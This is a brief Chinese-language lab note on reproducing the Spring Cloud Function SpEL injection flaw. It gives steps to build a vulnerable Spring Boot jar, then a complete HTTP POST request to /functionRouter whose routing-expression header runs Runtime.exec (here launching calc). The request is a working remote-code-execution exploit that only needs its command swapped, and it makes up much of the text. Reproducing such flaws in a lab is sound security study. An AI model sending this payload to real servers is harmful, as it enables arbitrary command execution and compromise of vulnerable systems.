复现环境：https://github.com/Pizz33/Spring-Cloud-Function-SpEL
使用idea新增一个spring lnitializr项目，选择与环境匹配的java版本添加spring web和function右侧栏选择maven-package编译jar包编译完成后运行jar包
java -jar demo-0.0.1-SNAPSHOT.jar

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

ran